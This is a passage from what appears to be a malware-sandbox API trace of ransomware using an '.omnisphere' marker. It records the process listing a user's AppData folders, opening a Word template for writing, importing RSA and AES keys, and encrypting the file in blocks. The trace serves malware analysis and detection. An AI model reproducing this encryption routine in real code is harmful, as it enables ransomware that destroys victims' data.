ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="ec679dec92129330b5b05a3aa424ac05_33d770d0-06bc-47c5-8714-222cdac43a71.omnisphere.id", cAlternateFileName="EC679D~1.ID")) returned 1 [0102.103] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df1566d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1df1566d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1df3b7e1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0102.103] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1df1566d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1df1566d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1df3b7e1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0102.103] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0102.103] GetProcessHeap () returned 0x1600000 [0102.104] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1638010 | out: hHeap=0x1600000) returned 1 [0102.104] GetProcessHeap () returned 0x1600000 [0102.104] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16302c0 | out: hHeap=0x1600000) returned 1 [0102.104] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0102.104] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0102.104] GetProcessHeap () returned 0x1600000 [0102.104] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16683d8 | out: hHeap=0x1600000) returned 1 [0102.104] GetProcessHeap () returned 0x1600000 [0102.104] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f180 | out: hHeap=0x1600000) returned 1 [0102.104] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789cc9c3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789cc9c3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="RSA", cAlternateFileName="")) returned 0 [0102.104] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0102.104] GetProcessHeap () returned 0x1600000 [0102.104] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f980 | out: hHeap=0x1600000) returned 1 [0102.104] GetProcessHeap () returned 0x1600000 [0102.104] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165fbe8 | out: hHeap=0x1600000) returned 1 [0102.104] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x32ff935, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0102.104] GetProcessHeap () returned 0x1600000 [0102.104] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x94) returned 0x165e548 [0102.104] PathCombineW (in: pszDest=0x165e548, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Document Building Blocks" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks" [0102.104] GetProcessHeap () returned 0x1600000 [0102.105] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x165ec28 [0102.105] PathCombineW (in: pszDest=0x165ec28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*" [0102.105] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0102.106] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0102.106] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="1033", cAlternateFileName="")) returned 1 [0102.106] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="1033", cAlternateFileName="")) returned 0 [0102.106] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0102.106] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*", lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0102.106] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="..", cAlternateFileName="")) returned 1 [0102.106] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="1033", cAlternateFileName="")) returned 1 [0102.106] GetProcessHeap () returned 0x1600000 [0102.106] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656388 [0102.107] PathCombineW (in: pszDest=0x1656388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks", pszFile="1033" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033" [0102.107] GetProcessHeap () returned 0x1600000 [0102.107] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162dff8 [0102.107] PathCombineW (in: pszDest=0x162dff8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*" [0102.107] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0102.107] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName="..", cAlternateFileName="")) returned 1 [0102.107] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName="16", cAlternateFileName="")) returned 1 [0102.107] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName="16", cAlternateFileName="")) returned 0 [0102.107] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0102.107] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0102.107] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.107] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3325b84, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0102.108] GetProcessHeap () returned 0x1600000 [0102.108] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162da78 [0102.108] PathCombineW (in: pszDest=0x162da78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", pszFile="16" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16" [0102.108] GetProcessHeap () returned 0x1600000 [0102.108] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa8) returned 0x162d2e8 [0102.108] PathCombineW (in: pszDest=0x162d2e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*" [0102.108] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x334bde3, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbd, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0102.109] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3325b84, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3325b84, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x334bde3, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbd, cFileName="..", cAlternateFileName="")) returned 1 [0102.109] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334bde3, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x334bde3, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x584285c, ftLastWriteTime.dwHighDateTime=0x1d32745, nFileSizeHigh=0x0, nFileSizeLow=0x388cc7, dwReserved0=0x0, dwReserved1=0xbd, cFileName="Built-In Building Blocks.dotx", cAlternateFileName="BUILT-~1.DOT")) returned 1 [0102.109] GetProcessHeap () returned 0x1600000 [0102.109] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe0) returned 0x16302c0 [0102.109] PathCombineW (in: pszDest=0x16302c0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16", pszFile="Built-In Building Blocks.dotx" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" [0102.109] StrStrW (lpFirst=".omnisphere", lpSrch=".dotx") returned 0x0 [0102.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0102.109] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=3706055) returned 1 [0102.109] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x3887a3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0102.109] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.155] GetTickCount () returned 0x1159a0a [0102.156] GetTickCount () returned 0x1159a0a [0102.156] GetTickCount () returned 0x1159a0a [0102.156] GetTickCount () returned 0x1159a0a [0102.156] GetTickCount () returned 0x1159a0a [0102.156] GetTickCount () returned 0x1159a0a [0102.156] GetTickCount () returned 0x1159a0a [0102.156] GetTickCount () returned 0x1159a0a [0102.156] GetTickCount () returned 0x1159a0a [0102.156] GetTickCount () returned 0x1159a0a [0102.156] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668570) returned 1 [0102.157] CryptImportKey (in: hProv=0x1668570, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x16395e8) returned 1 [0102.157] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0102.157] CryptDestroyKey (hKey=0x16395e8) returned 1 [0102.157] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0102.157] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x388cc7, lpName=0x0) returned 0x3c0 [0102.157] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x388cc7) returned 0x4010000 [0103.161] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668d68) returned 1 [0103.162] CryptImportKey (in: hProv=0x1668d68, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0103.162] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.162] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0103.163] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, 